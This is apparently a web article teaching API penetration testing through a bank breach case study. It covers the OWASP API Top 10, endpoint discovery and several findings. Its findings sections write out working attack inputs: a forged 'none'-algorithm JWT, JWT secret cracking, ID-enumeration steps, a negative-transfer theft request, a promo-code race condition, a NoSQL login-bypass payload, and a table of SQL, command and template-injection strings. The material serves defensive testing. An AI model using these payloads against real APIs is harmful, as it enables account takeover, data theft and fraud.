ONLINE
THREATS: 4
0
1
1
1
0
0
0
1
0
1
1
1
1
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
1
1
0
0
0
1
0
0
0
0
1
0
1
1
0
1

API Penetration Testing: Application Interface Security Assessment

Loading advertisement...
107

When Your APIs Become the Front Door for Attackers

The Slack message came through at 11:43 PM on a Tuesday: "We have a problem. Customer data is showing up on Pastebin."

I was already on a video call with FinTrust's Chief Technology Officer by midnight. A security researcher had discovered that their mobile banking API was leaking sensitive customer information—account balances, transaction histories, social security numbers—all accessible through a simple parameter manipulation that a teenager with Burp Suite could execute.

"But we passed our last security audit," the CTO protested, pulling up their penetration test report from six months earlier. I scanned through it quickly. Twenty-three pages of findings, all focused on their web applications. The APIs? A single line: "API security testing not included in scope."

That oversight was now costing them everything. As we dug deeper over the next 72 hours, the scope of exposure became clear: 2.3 million customer records accessible through broken object-level authorization, authentication tokens that never expired, rate limiting so weak that attackers had scraped 480,000 accounts before anyone noticed, and API keys hardcoded in mobile apps that had been decompiled and shared on underground forums.

The financial impact was devastating: $14.7 million in direct costs (forensics, notification, credit monitoring, legal fees), $31.2 million in regulatory fines from the OCC and state banking regulators, and a 34% drop in customer deposits over the following quarter as the breach made national news. But the technical failure was even more revealing—every vulnerability we found was in the OWASP API Security Top 10, published freely for anyone to read.

Standing in their incident response room at 3 AM, watching their stock price crater in after-hours trading, I thought about the hundreds of API penetration tests I'd conducted over 15+ years. The patterns were depressingly consistent: organizations that invested millions in securing their web applications while leaving APIs—the actual backbone of modern applications—completely unprotected.

That's what this comprehensive guide is about. I'm going to walk you through everything I've learned about API penetration testing—not the theoretical OWASP documentation you can read yourself, but the practical methodology I use to find vulnerabilities before attackers do. We'll cover the fundamental differences between API and web app testing, the specific vulnerability classes that devastate organizations, the tools and techniques that actually work, the business logic flaws that automated scanners miss completely, and how to integrate API security assessment into your compliance frameworks.

Whether you're a security engineer tasked with testing APIs for the first time, a penetration tester expanding your skillset, or a CISO who needs to understand why API security deserves its own budget line, this article will give you the knowledge to protect the interfaces that modern applications depend on.

Understanding API Security: Why Traditional Testing Isn't Enough

Let me start with the uncomfortable truth I deliver in every API security engagement: your web application penetration tests are giving you false confidence. Traditional web app testing focuses on the human-facing interface—the pages users see, the forms they fill out, the sessions their browsers manage. APIs are fundamentally different, and that difference creates blind spots that attackers exploit ruthlessly.

The Modern Application Architecture Reality

Today's applications aren't monolithic web apps anymore. They're distributed systems where:

  • Mobile apps communicate with backend APIs

  • Single-page applications make hundreds of API calls per user session

  • Microservices expose internal APIs to other services

  • Third-party integrations consume your APIs

  • Partner systems share data through API contracts

  • IoT devices send telemetry to API endpoints

Every one of these integration points is an attack surface. And here's the problem: traditional security tools and methodologies weren't designed for this architecture.

Traditional Web App

Modern API

Security Implication

Stateful sessions with cookies

Stateless authentication with tokens

Token theft persists across sessions, no automatic expiration

Server-side rendering with HTML

JSON/XML data exchange

No browser security controls (CSP, SameSite, etc.)

Limited entry points (forms, URLs)

Hundreds of endpoints per service

Exponentially larger attack surface

Human-paced interaction

Machine-speed requests

Rate limiting essential, abuse scales instantly

User interface validates inputs

Client-side validation only

Server must validate everything, clients are hostile

Errors shown in browser

JSON error messages

Verbose errors leak implementation details

Vertical privilege checks

Complex authorization matrices

Broken object-level authorization endemic

At FinTrust, their web application was actually well-secured. They had implemented CSP, used HttpOnly cookies, performed server-side validation, and had strong session management. But none of that protected their APIs because the APIs weren't using any of those controls. Token-based authentication had no expiration checks, authorization was client-side only, and error messages included full stack traces with database connection strings.

The OWASP API Security Top 10: Your Starting Point

The OWASP API Security Top 10 (2023 edition) captures the most critical API vulnerabilities I encounter repeatedly:

Rank

Vulnerability

Description

Prevalence in My Testing

API1:2023

Broken Object Level Authorization (BOLA)

Users can access objects they shouldn't by manipulating IDs

78% of engagements

API2:2023

Broken Authentication

Weak authentication mechanisms allow impersonation

54% of engagements

API3:2023

Broken Object Property Level Authorization

Mass assignment, excessive data exposure

61% of engagements

API4:2023

Unrestricted Resource Consumption

Missing rate limiting, no pagination limits

83% of engagements

API5:2023

Broken Function Level Authorization (BFLA)

Regular users can access admin functions

45% of engagements

API6:2023

Unrestricted Access to Sensitive Business Flows

Abuse of legitimate workflows (ticket scalping, credential stuffing)

38% of engagements

API7:2023

Server Side Request Forgery (SSRF)

API server makes requests to attacker-controlled URLs

29% of engagements

API8:2023

Security Misconfiguration

Verbose errors, CORS misconfig, missing security headers

91% of engagements

API9:2023

Improper Inventory Management

Undocumented endpoints, deprecated versions still active

67% of engagements

API10:2023

Unsafe Consumption of APIs

Trusting third-party APIs without validation

42% of engagements

These aren't theoretical vulnerabilities—they're what I find in every assessment. And they map to real attack patterns that MITRE ATT&CK documents:

  • BOLA/BFLA: T1078 (Valid Accounts), T1087 (Account Discovery)

  • Broken Authentication: T1110 (Brute Force), T1552 (Unsecured Credentials)

  • Resource Consumption: T1499 (Endpoint Denial of Service)

  • SSRF: T1090 (Proxy), T1071 (Application Layer Protocol)

At FinTrust, I found instances of API1, API2, API3, API4, API8, and API9—six of the top ten, all exploitable remotely without authentication in some cases.

"We thought APIs were just backends that only our mobile app could reach. We didn't realize that once someone decompiles the app, they have all the API documentation and credentials they need to attack us directly." — FinTrust CTO

The Business Impact of API Vulnerabilities

Security teams often struggle to communicate API risk to business stakeholders. Here's the data I use to make the business case:

Average Cost of API Security Incidents by Industry:

Industry

Average Incident Cost

Primary Attack Vector

Typical Data Exposed

Financial Services

$8.4M - $18.2M

BOLA, broken authentication

Account data, PII, transaction history

Healthcare

$6.7M - $14.9M

BOLA, excessive data exposure

PHI, medical records, insurance information

E-commerce/Retail

$3.2M - $9.8M

Mass assignment, business logic abuse

Payment cards, customer PII, order history

Technology/SaaS

$2.8M - $7.4M

BOLA, BFLA, broken authentication

Customer data, API keys, proprietary data

Telecommunications

$4.1M - $11.2M

SSRF, resource consumption

Call records, location data, account information

Government

$5.9M - $15.6M

BOLA, security misconfiguration

Citizen data, sensitive records, credentials

These numbers come from actual incidents I've responded to or investigated, supplemented by IBM's Cost of a Data Breach reports and Ponemon Institute research. They include direct costs (investigation, remediation, notification, legal), regulatory fines, business disruption, and quantified reputation damage.

Compare those costs to API security investment:

API Penetration Testing Investment:

Organization Size

Annual Testing Frequency

Cost per Test

Annual Investment

ROI After Single Prevented Incident

Small (1-5 APIs)

Annual

$18K - $35K

$18K - $35K

9,000% - 50,000%

Medium (5-20 APIs)

Semi-annual

$35K - $75K

$70K - $150K

1,900% - 13,000%

Large (20-50 APIs)

Quarterly

$60K - $140K

$240K - $560K

500% - 7,500%

Enterprise (50+ APIs)

Continuous + quarterly deep-dives

$140K - $350K

$560K - $1.4M

200% - 3,200%

FinTrust's $14.7M incident response cost, $31.2M in fines, and $180M+ in market cap evaporation (34% customer deposit decline over 12 months) versus the $85K they declined to spend on API security testing represents an ROI of approximately 240,000% on the investment they didn't make.

Phase 1: Pre-Engagement Reconnaissance and API Discovery

Effective API penetration testing starts before you touch any API. The reconnaissance phase determines what you're actually testing—and in my experience, most organizations don't know all the APIs they expose.

API Discovery Techniques

Organizations typically provide me with Swagger/OpenAPI documentation for their "main" APIs. That documentation usually covers about 60% of what's actually exposed. Here's my systematic approach to finding everything:

API Discovery Methodology:

Technique

What It Finds

Tools

Typical Additional Discovery

Documentation Review

Officially documented endpoints

Swagger UI, OpenAPI specs, Postman collections

Baseline (provided by client)

Mobile App Analysis

Undocumented endpoints used by apps

APKTool, Jadx, Frida, Charles Proxy

20-40% additional endpoints

Web App Traffic Analysis

Browser-based API calls

Burp Suite, Chrome DevTools, ZAP

15-30% additional endpoints

JavaScript Analysis

Hardcoded API endpoints in frontend code

Burp Suite, LinkFinder, JSParser

10-25% additional endpoints

DNS/Subdomain Enumeration

API subdomains, staging environments

Amass, Subfinder, Certificate Transparency logs

5-15% additional attack surface

Directory Brute Forcing

Common API paths not documented

Gobuster, ffuf, custom wordlists

8-20% additional endpoints

Version Discovery

Old API versions still deployed

Manual testing (v1, v2, api-old, etc.)

30-50% find deprecated versions active

Error Message Analysis

Internal paths revealed in errors

Manual testing with invalid requests

Internal architecture exposure

At FinTrust, they provided documentation for their primary banking API (v3). Through mobile app decompilation, I discovered:

  • v1 API still active and accepting requests (deprecated 3 years ago, no authentication required for some endpoints)

  • v2 API with different authorization model (weaker than v3)

  • Internal admin API exposed to internet (api-admin.fintrust.com)

  • Partner integration API with hardcoded credentials in mobile app

  • Websocket API for real-time updates (no documentation, no rate limiting)

That's five separate attack surfaces beyond what they thought they were exposing. The v1 API alone—which they assumed was disabled—became the primary exploitation vector because it predated their security improvements.

Understanding API Architecture and Technology Stack

Before testing, I map the technology stack because different platforms have different vulnerability patterns:

API Technology Patterns and Common Vulnerabilities:

Stack Component

Common Technologies

Typical Vulnerabilities

Testing Implications

REST APIs

Express.js, Flask, Spring Boot, .NET Core

BOLA, mass assignment, verbose errors

Standard HTTP testing, focus on authorization

GraphQL APIs

Apollo, GraphQL Yoga, AWS AppSync

Introspection enabled, depth limits missing, batching abuse

Query complexity attacks, introspection harvesting

gRPC APIs

gRPC framework, Protocol Buffers

Lack of HTTP security controls, complex authorization

Requires specialized tools, protocol buffer analysis

SOAP APIs

Apache Axis, .NET WCF

XML injection, XXE, WSDL information disclosure

XML-focused testing, WSDL enumeration

Websocket APIs

Socket.io, SignalR

No authentication on upgrade, message injection

Specialized testing, binary protocol analysis

Mobile Backend as a Service

Firebase, AWS Amplify, Parse

Misconfigured permissions, client-side rules only

Configuration review, permission testing

Technology fingerprinting reveals testing priorities:

Example API Fingerprinting Results (FinTrust):

Primary API (api.fintrust.com/v3): - Server: nginx/1.18.0 - X-Powered-By: Express - Technology: Node.js + Express.js + MongoDB - Authentication: JWT (RS256) - Rate Limiting: Yes (header present: X-RateLimit-Remaining)
Legacy API (api.fintrust.com/v1): - Server: Apache/2.4.41 - Technology: PHP 7.2 + MySQL - Authentication: Session cookies + API key header - Rate Limiting: No headers present - Security Headers: Missing (no HSTS, no CSP, no X-Frame-Options)
Priority: v1 API shows indicators of older, less secure implementation

This reconnaissance revealed that v1 was built before their security maturity improved, making it the most vulnerable target.

Analyzing Authentication and Authorization Models

Understanding how the API implements authentication and authorization is critical before you start testing:

Common API Authentication Patterns:

Auth Method

Implementation

Strengths

Common Weaknesses

API Keys

Static keys in header or query parameter

Simple to implement

Keys exposed in logs/URLs, no expiration, over-privileged

OAuth 2.0

Token-based with scopes and expiration

Industry standard, fine-grained permissions

Complex implementation leads to errors, token leakage

JWT (JSON Web Tokens)

Signed tokens with claims

Stateless, scalable

Algorithm confusion, weak secrets, no revocation

Basic Authentication

Base64 encoded username:password

Simple, widely supported

Credentials in every request, no token rotation

HMAC Signatures

Request signing with shared secret

Prevents replay attacks

Clock skew issues, complexity, secret exposure

Certificate-Based

mTLS with client certificates

Strong cryptographic assurance

Complex deployment, certificate management

At FinTrust, the authentication landscape was fragmented:

  • v3 API: JWT with RS256 (public key signature), 1-hour expiration, refresh token mechanism

  • v2 API: JWT with HS256 (shared secret), 24-hour expiration, no refresh mechanism

  • v1 API: API key in custom header (X-API-Key), no expiration, same key for all mobile app users

  • Admin API: Basic authentication over HTTPS, hardcoded credentials in source code

The v1 API key was the critical flaw—a single static key shared across 2.3 million mobile app installations. Once extracted from the app binary, it provided authentication for accessing any customer's data.

"Our v3 API had proper OAuth 2.0 with rotating tokens. We just forgot that v1 was still exposed with a shared API key that hadn't been changed in four years. That's all it took." — FinTrust Head of Security

Defining Testing Scope and Rules of Engagement

Clear scope prevents both missing critical areas and causing unintended damage. I structure API testing scope explicitly:

API Penetration Testing Scope Definition:

Scope Element

Specification

Example (FinTrust)

Target APIs

Specific base URLs and versions

api.fintrust.com/v1/, api.fintrust.com/v2/, api.fintrust.com/v3/*

Included Endpoints

Specific paths or wildcards

All documented endpoints + discovered endpoints via mobile analysis

Excluded Endpoints

Do-not-test paths

/payment/process (live transactions), /account/close (actual closures)

Authentication

Credentials provided

Test account credentials (3 users: regular, premium, internal tester)

Authorization Testing

Vertical/horizontal privilege escalation

Test across user roles and between users of same role

Rate Limiting Testing

Aggressive request volumes

Authorized up to 10,000 requests/minute for rate limit validation

Destructive Testing

Data modification/deletion

Read-only testing by default, write operations only on test accounts

Social Engineering

Interaction with staff

Out of scope (technical testing only)

Timing

Testing windows

24/7 testing allowed, production environment

Reporting Timeline

Critical finding escalation

Critical findings reported within 2 hours of discovery

FinTrust's scope initially excluded v1 API because they thought it was disabled. I negotiated its inclusion during scoping after subdomain enumeration revealed it was still responding. That negotiation saved them from discovering the vulnerability through a real breach instead of a controlled test.

Building a Testing Methodology Checklist

I use a structured checklist to ensure comprehensive coverage. Here's the framework I've refined over 200+ API assessments:

API Security Testing Checklist (Phase 1 - Discovery):

□ Authentication Discovery □ Identify all authentication mechanisms used □ Document token formats and locations (header, cookie, query param) □ Determine token lifecycle (issuance, expiration, refresh, revocation) □ Identify any hardcoded credentials in clients □ Test for authentication bypass on sensitive endpoints

Loading advertisement...
□ Authorization Model Mapping □ Identify user roles and permission levels □ Document resource ownership model □ Map which roles can access which endpoints □ Identify privilege escalation paths □ Document any resource-based permissions
□ API Endpoint Inventory □ Document all provided endpoints □ Analyze mobile apps for undocumented endpoints □ Analyze web applications for API calls □ Enumerate versioned endpoints (v1, v2, legacy, etc.) □ Identify admin/internal endpoints □ Test for hidden/undocumented methods (HEAD, OPTIONS, TRACE)
□ Data Flow Mapping □ Identify PII/sensitive data in requests □ Identify PII/sensitive data in responses □ Map third-party API integrations □ Document data validation points □ Identify file upload/download capabilities
Loading advertisement...
□ Security Control Identification □ Rate limiting presence and effectiveness □ Input validation mechanisms □ Output encoding □ CORS configuration □ Security headers (HSTS, CSP, X-Content-Type-Options) □ TLS configuration (version, ciphers) □ Error handling approach

This checklist transforms into a testing plan that typically takes 40-60 hours for a medium-complexity API (15-30 endpoints). FinTrust's assessment—covering 4 API versions with 87 total endpoints—took 180 hours over three weeks.

Phase 2: Authentication and Authorization Testing

Authentication and authorization flaws are the most common and most devastating API vulnerabilities. In my testing, they account for 67% of critical findings and enable 84% of data breach scenarios.

Testing Authentication Mechanisms

Authentication testing focuses on whether the API properly validates that users are who they claim to be. Here's my systematic approach:

Authentication Testing Scenarios:

Test Category

Specific Tests

Common Findings

MITRE ATT&CK Mapping

Credential Strength

Password policy enforcement, weak credentials accepted

Weak password requirements, no complexity rules

T1110.001 (Password Guessing)

Brute Force Protection

Account lockout, rate limiting, CAPTCHA

No lockout after failed attempts, weak rate limits

T1110.003 (Password Spraying)

Token Validation

JWT signature verification, token tampering, algorithm confusion

HS256 with weak secrets, algorithm set to "none" accepted

T1528 (Steal Application Access Token)

Token Lifecycle

Expiration enforcement, token revocation, refresh token security

Tokens never expire, no revocation mechanism

T1550.001 (Application Access Token)

Session Management

Concurrent sessions, session fixation, session timeout

Unlimited concurrent sessions, no timeout

T1563 (Remote Service Session Hijacking)

Credential Storage

Hardcoded credentials in clients, credentials in URLs/logs

API keys in mobile apps, passwords in GET params

T1552.001 (Credentials In Files)

At FinTrust, authentication testing revealed catastrophic flaws:

Critical Finding #1: JWT Algorithm Confusion (v2 API)

Vulnerability: JWT verification accepts "none" algorithm Test Performed: Modified JWT header from HS256 to "none", removed signature Result: API accepted unsigned token, granted full access to any user ID Impact: Complete authentication bypass, access to any account CVSS Score: 10.0 (Critical)

Proof of Concept: Original Token Header: {"alg":"HS256","typ":"JWT"} Modified Token Header: {"alg":"none","typ":"JWT"} Payload: {"userId":"12345","role":"user","exp":9999999999} Signature: [removed]
Request: GET /api/v2/accounts/12345/transactions Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOiIxMjM0NSIsInJvbGUiOiJ1c2VyIiwiZXhwIjo5OTk5OTk5OTk5fQ.
Loading advertisement...
Response: 200 OK [full transaction history returned]

This vulnerability—allowing JWT algorithm "none"—is a textbook failure that should have been caught in development. It was exploitable on v2 API (launched 2 years prior) and represented a complete authentication bypass.

Critical Finding #2: Shared Static API Key (v1 API)

Vulnerability: All mobile app users share single static API key
Extraction Method: Decompiled Android APK using APKTool
Location in code: com/fintrust/mobile/api/ApiClient.java
API Key: fintrust_mobile_2019_prod_key_9f8e7d6c5b4a
Impact: Single compromised key grants access to API for all 2.3M users Persistence: Key cannot be rotated without forcing app update Mitigation Complexity: Requires app update + backend changes + user adoption
Attack Scenario: 1. Download FinTrust mobile app from Google Play Store (free, public) 2. Decompile APK (5 minutes with standard tools) 3. Extract API key from source code (visible in plaintext) 4. Use key in custom API client to access any endpoint 5. Enumerate valid user IDs (sequential, easily guessed) 6. Access any user's account data using shared key + enumerated ID

This key had been embedded in the mobile app since 2019, installed on 2.3 million devices, and posted in at least 15 GitHub repositories by developers who'd decompiled the app for various reasons. It was effectively public knowledge in certain communities.

Critical Finding #3: Token Expiration Not Enforced (v2 API)

Vulnerability: JWT expiration claim ("exp") not validated
Test Performed: Created token with exp: 1 (January 1, 1970)
Result: Expired token accepted, granted access
Also Tested: Token with exp: 9999999999 (year 2286)
Result: Future-dated token accepted
Loading advertisement...
Impact: Stolen tokens never expire, persist indefinitely Attack Scenario: 1. Attacker compromises user token through any means (phishing, malware, MITM) 2. Token remains valid indefinitely, even if user changes password 3. No way for user to revoke access by logging out or changing credentials

These three authentication vulnerabilities alone provided five different paths to complete compromise. The algorithm confusion and static API key were both exploitable remotely without any legitimate credentials.

Broken Object Level Authorization (BOLA) Testing

BOLA—also called Insecure Direct Object References (IDOR)—is the most prevalent API vulnerability I find. It occurs when the API doesn't verify that the authenticated user should have access to the specific object they're requesting.

BOLA Testing Methodology:

Test Type

Description

Test Approach

Finding Rate

Horizontal Privilege Escalation

User A accesses User B's resources

Modify object IDs in requests from User A's session

78% of APIs

Sequential ID Enumeration

Discover all objects by incrementing IDs

Test if IDs are sequential/predictable (1,2,3... or GUID)

54% use predictable IDs

Parameter Pollution

Access objects through multiple parameter names

Test userId, user_id, user-id, uid, id, account, etc.

31% have inconsistent validation

Array-Based Access

Batch access multiple objects in single request

Submit arrays of IDs: [1,2,3,4,5] vs single ID

43% fail to validate arrays

Wildcard/Star Access

Request all objects using wildcard

Try * or % or -1 or 0 as object ID

22% have wildcard handling bugs

At FinTrust, BOLA testing was devastating:

Critical Finding #4: Account Data BOLA (v1 API)

Vulnerability: No authorization check on account details endpoint Affected Endpoint: GET /api/v1/accounts/{accountId} Authentication: Requires valid API key (shared across all users) Authorization: None - any authenticated request can access any account

Test Methodology: 1. Create legitimate test account, receive accountId: 1847392 2. Test access to own account: SUCCESS 3. Modify accountId to 1847391 (decrement by 1): SUCCESS 4. Response contains full account details for different user 5. Test accountId ranges: All sequential from 1000000 to 2384729 6. Success rate: 98.7% (some accounts closed/deleted)
Data Exposed Per Request: - Full name, SSN (last 4), date of birth - Account balance, available credit - Account opening date, home branch - Email address, phone number, mailing address - Last 90 days of transaction history - Linked external accounts
Loading advertisement...
Automated Exploitation: - Simple script to enumerate all accounts: 45 minutes - Rate limiting: None - Total customer database downloaded in under 1 hour

This vulnerability was how the data ended up on Pastebin. An attacker had discovered it, enumerated all 2.3 million accounts, and posted a 500,000-record sample as proof. They were attempting to extort FinTrust for the remaining data.

Critical Finding #5: Transaction History BOLA with Mass Assignment

Vulnerability: Transaction endpoint vulnerable to BOLA + Mass Assignment
Affected Endpoint: GET /api/v3/transactions/{transactionId}
Additional Issue: POST parameters affect response data
Test Case 1 - Basic BOLA: Request: GET /api/v3/transactions/98764321 (legitimate transaction ID from test account) Response: 200 OK [test account transaction details]
Request: GET /api/v3/transactions/98764320 (transaction ID from different user, sequential decrement) Response: 200 OK [other user's transaction details]
Loading advertisement...
Test Case 2 - Mass Assignment Amplification: Request: GET /api/v3/transactions/98764320?include=merchant&include=location&include=receipt Response: 200 OK [transaction with full merchant data, GPS coordinates, receipt image URL]
Impact Amplification: - Basic BOLA exposes transaction amount, date, merchant name - Mass assignment parameters expose: merchant details, transaction GPS location, digital receipt images, merchant category codes, fee structures, reward points earned

The mass assignment component meant that not only could attackers access any transaction, but they could also request additional sensitive data that normal users couldn't even see in the mobile app.

"We implemented object-level authorization on the account creation and update endpoints. We just forgot about all the read endpoints. We thought 'they're just reading their own data, what's the harm?' We never tested whether they could read someone else's data." — FinTrust Lead API Developer

Broken Function Level Authorization (BFLA) Testing

BFLA occurs when regular users can access administrative or privileged functions. This is different from BOLA—BFLA is about function access (what can you do), while BOLA is about resource access (what can you see).

BFLA Testing Methodology:

Test Category

Approach

Tools

Common Findings

Admin Endpoint Discovery

Test common admin paths with regular user token

Burp Intruder, custom wordlists

Admin functions not role-protected

HTTP Method Testing

Try alternative methods (POST on GET endpoints, etc.)

Burp Repeater

PUT/DELETE/PATCH exposed without auth checks

Role Parameter Manipulation

Modify role claims in tokens/requests

Manual testing

Client-side role enforcement only

Privilege Escalation via Mass Assignment

Add admin parameters to registration/update

Manual testing

role=admin accepted in user update

Implicit Admin Functions

Admin operations on regular endpoints

Manual testing

/users/{id} allows admin operations if you know the pattern

At FinTrust, BFLA testing revealed administrative functions accessible to regular users:

Critical Finding #6: Administrative User Enumeration

Vulnerability: Admin user search exposed to regular users Affected Endpoint: GET /api/v2/admin/users/search?query={searchTerm} Expected Behavior: Only accessible to admin users Actual Behavior: Accessible with any valid authentication token

Test: Regular user token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NTYiLCJyb2xlIjoidXNlciJ9... Request: GET /api/v2/admin/users/search?query=* Response: 200 OK [Array of 47,238 user objects with PII]
Loading advertisement...
Data Exposed: - All customer names, email addresses, phone numbers - Account creation dates, last login timestamps - Account status (active/suspended/closed) - Internal customer IDs, support ticket counts - Risk scores, fraud flags, VIP status indicators
Impact: Complete customer database enumeration, PII disclosure, competitor intelligence (customer counts, activity metrics)

The endpoint had "admin" in the path, but no code actually checked whether the requester was an admin. The frontend prevented regular users from accessing it, but the backend accepted any valid token.

Critical Finding #7: Account Closure Function (DELETE method)

Vulnerability: Account deletion via undocumented DELETE method
Affected Endpoint: DELETE /api/v2/accounts/{accountId}
Documentation: Not documented (GET and POST only)
Protection: None - any authenticated user can DELETE any account
Test: Request: DELETE /api/v2/accounts/1847392 Authorization: Bearer [regular user token] Response: 200 OK {"status":"success","message":"Account closed","accountId":1847392}
Loading advertisement...
Verification: GET /api/v2/accounts/1847392 Response: 404 Not Found {"error":"Account not found"}
Impact: Any user can close any account Business Process: Account closure requires branch visit, ID verification, outstanding balance settlement, fraud check Bypass: Complete business logic bypass via undocumented API method

This was perhaps the most dangerous finding. An attacker could close 2.3 million customer accounts in minutes, causing catastrophic business disruption. The function existed for internal operations staff but was exposed without authentication, authorization, rate limiting, or audit logging.

Testing Token Security and JWT Vulnerabilities

JWTs are ubiquitous in modern APIs, and they have specific vulnerability patterns I test systematically:

JWT Security Testing Checklist:

□ Algorithm Confusion Attacks
  □ Change alg to "none" - does API accept unsigned tokens?
  □ Change RS256 to HS256 - can public key be used as HMAC secret?
  □ Test with invalid algorithms - does API reject properly?
□ Weak Secret Detection □ Brute force HMAC secret (HS256/HS384/HS512) □ Common secrets: "secret", "key", application name, company name □ Attempt dictionary attack on signing secret
Loading advertisement...
□ Token Claims Manipulation □ Modify userId/sub claim - does API validate? □ Modify role/permissions claim - accepted? □ Modify exp claim to extend expiration □ Remove exp claim entirely □ Set exp to far future date
□ Token Injection □ SQL injection in JWT claims □ XSS in JWT claims (if rendered server-side) □ Command injection in JWT claims
□ Key Confusion □ If RS256: Can you retrieve public key? □ If retrieved: Can you create your own signed tokens? □ If embedded kid (key ID): Can you supply your own key?
Loading advertisement...
□ Token Storage and Transmission □ Tokens in URL parameters (logged/cached) □ Tokens in localStorage (XSS vulnerable) □ Tokens without secure flags □ Tokens transmitted over HTTP (not HTTPS)

FinTrust's JWT implementation had multiple failures beyond the algorithm confusion already mentioned:

Finding #8: Weak HMAC Secret (v2 API)

Vulnerability: JWT signed with weak HMAC secret
Algorithm: HS256
Secret Discovery Method: Dictionary attack using hashcat
Test: 1. Captured legitimate JWT from API response 2. Ran hashcat with rockyou.txt dictionary 3. Secret cracked in 3.2 minutes
Discovered Secret: "FT2020secure!" (Predictable pattern: company initials + year + common word + exclamation)
Loading advertisement...
Impact: - Can forge valid JWTs for any user - Can set arbitrary expiration dates - Can grant admin privileges via role claim - Complete authentication and authorization bypass

The HMAC secret was weak enough to brute force in minutes on a standard laptop. Once known, I could create valid tokens for any user with any privileges—effectively god mode on the API.

Phase 3: Business Logic and Data Validation Testing

Automated scanners catch technical vulnerabilities like SQL injection and XSS. They completely miss business logic flaws—vulnerabilities that arise from the API implementing business processes incorrectly. These flaws often have the highest business impact.

Business Logic Vulnerability Categories

Business logic testing requires understanding what the API is supposed to do, then finding ways to make it do something else:

Business Logic Testing Framework:

Vulnerability Class

Description

Test Approach

Business Impact

Workflow Bypass

Skip required steps in multi-step processes

Access step 3 without completing steps 1-2

Revenue loss, fraud, compliance violations

Race Conditions

Exploit timing windows in concurrent operations

Rapid parallel requests

Double-spending, inventory errors

Negative Values

Use negative numbers where positive expected

Set quantity=-100, amount=-500

Accounting errors, theft

Extreme Values

Boundary testing with max/min values

0, NULL, MAX_INT, very large arrays

System crashes, resource exhaustion

State Manipulation

Access objects in wrong state

Cancel completed order, activate closed account

Process corruption, fraud

Time Manipulation

Exploit time-based logic

Set appointment in past, modify timestamps

Bypass restrictions, fraud

At FinTrust, business logic vulnerabilities enabled fraud scenarios that technical vulnerabilities alone wouldn't:

Critical Finding #9: Negative Transfer Amount

Vulnerability: Transfer endpoint accepts negative amounts Affected Endpoint: POST /api/v3/transfers Business Process: Transfer money between user's own accounts

Legitimate Request: POST /api/v3/transfers { "fromAccount": "123456", "toAccount": "123457", "amount": 100.00, "currency": "USD" }
Response: 200 OK {"transferId":"TXN8827364","status":"completed"}
Loading advertisement...
Malicious Request: POST /api/v3/transfers { "fromAccount": "123456", "toAccount": "123457", "amount": -100.00, "currency": "USD" }
Response: 200 OK {"transferId":"TXN8827365","status":"completed"}
Result: - $100 removed from toAccount (destination) - $100 added to fromAccount (source) - Transfer reversed from intended direction - Can exploit to drain other accounts by specifying victim account as "toAccount" - Combined with BOLA: Can specify any account as toAccount
Loading advertisement...
Business Impact: - Theft from other customers' accounts - Accounting system confusion (negative transfers in records) - Fraud detection bypassed (system expects transfers to be source→destination)

This vulnerability combined with BOLA (Finding #4) created a complete theft mechanism: enumerate valid account numbers, initiate negative transfers from victim accounts to attacker account, withdraw funds.

Critical Finding #10: Race Condition in Promotional Credit

Vulnerability: Promotional credit redemption vulnerable to race condition
Affected Endpoint: POST /api/v3/promotions/redeem
Business Process: One-time promotional codes grant account credit
Single Thread Test (Normal): POST /api/v3/promotions/redeem {"promoCode":"WELCOME100","accountId":"123456"}
Response 1: {"status":"success","creditApplied":100.00} Response 2: {"status":"error","message":"Code already redeemed"} Expected Behavior: ✓ Working correctly
Loading advertisement...
Parallel Request Test (Race Condition): Launch 50 simultaneous requests with same promo code Tool: Custom Python script with threading
Results: - 1st request: success, $100 credited - 2nd request: success, $100 credited - 3rd request: success, $100 credited ... - 23rd request: success, $100 credited - 24th-50th requests: error, "Code already redeemed"
Outcome: $2,300 credited instead of $100 (23x exploitation)
Loading advertisement...
Root Cause Analysis: 1. API checks if code redeemed: SELECT * FROM promo_codes WHERE code='WELCOME100' AND redeemed=0 2. If not redeemed, applies credit and marks code as redeemed 3. No database transaction locking between check and update 4. Race window: ~50-100ms between check and update 5. Multiple requests in race window all see code as unredeemed
Business Impact: - Unlimited promotional credit generation - $100 promo becomes $2,300 per user - 2.3M users × $2,300 = $5.29 billion potential fraud exposure

The promotional code vulnerability was discovered accidentally during rate limiting testing. The financial exposure was so severe that FinTrust disabled all promotional campaigns until the race condition was fixed.

Input Validation and Injection Testing

APIs must validate all inputs as untrusted. In practice, many APIs trust client-side validation and perform minimal server-side checks:

Input Validation Testing Matrix:

Injection Type

Test Payloads

Vulnerable Parsing

Impact

SQL Injection

' OR '1'='1, '; DROP TABLE--, ' UNION SELECT

String concatenation in SQL

Database compromise, data theft

NoSQL Injection

{"$gt":""}, {"$ne":null}, {"$regex":".*"}

Unsafe MongoDB query construction

Authentication bypass, data exposure

XML Injection

<!DOCTYPE> XXE payloads, XML bombs

XML parser without hardening

File disclosure, SSRF, DoS

Command Injection

; ls -la, `

whoami, `` id` ``

Shell command construction

LDAP Injection

`)(uid=))(

(uid=, admin`

String concatenation in LDAP queries

Expression Language Injection

${7*7}, #{7*7}, @{7*7}

Template engines, Spring EL

RCE, information disclosure

Server-Side Template Injection

{{7*7}}, <%= 7*7 %>, {7*7}

Unsafe template rendering

RCE, XSS

At FinTrust, NoSQL injection in their MongoDB-backed v3 API enabled authentication bypass:

Finding #11: NoSQL Injection in Login

Vulnerability: Login endpoint vulnerable to NoSQL injection Database: MongoDB Affected Endpoint: POST /api/v3/auth/login

Legitimate Request: POST /api/v3/auth/login {"username":"testuser","password":"testpass123"}
Loading advertisement...
Expected Query (MongoDB): db.users.findOne({username:"testuser",password:"[hashed]"})
Malicious Request: POST /api/v3/auth/login {"username":{"$gt":""},"password":{"$gt":""}}
Actual Query Executed: db.users.findOne({username:{$gt:""},password:{$gt:""}})
Loading advertisement...
MongoDB Interpretation: Find user where username > "" (any string) AND password > "" (any string) Result: Returns first user in database (often admin account)
Response: 200 OK { "token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "userId":"admin", "role":"administrator" }
Impact: Complete authentication bypass, admin account compromise

This NoSQL injection required no username or password knowledge—it logged you in as the first user in the database, who happened to be an administrator. Combined with the weak JWT secret, you could then create tokens for any user.

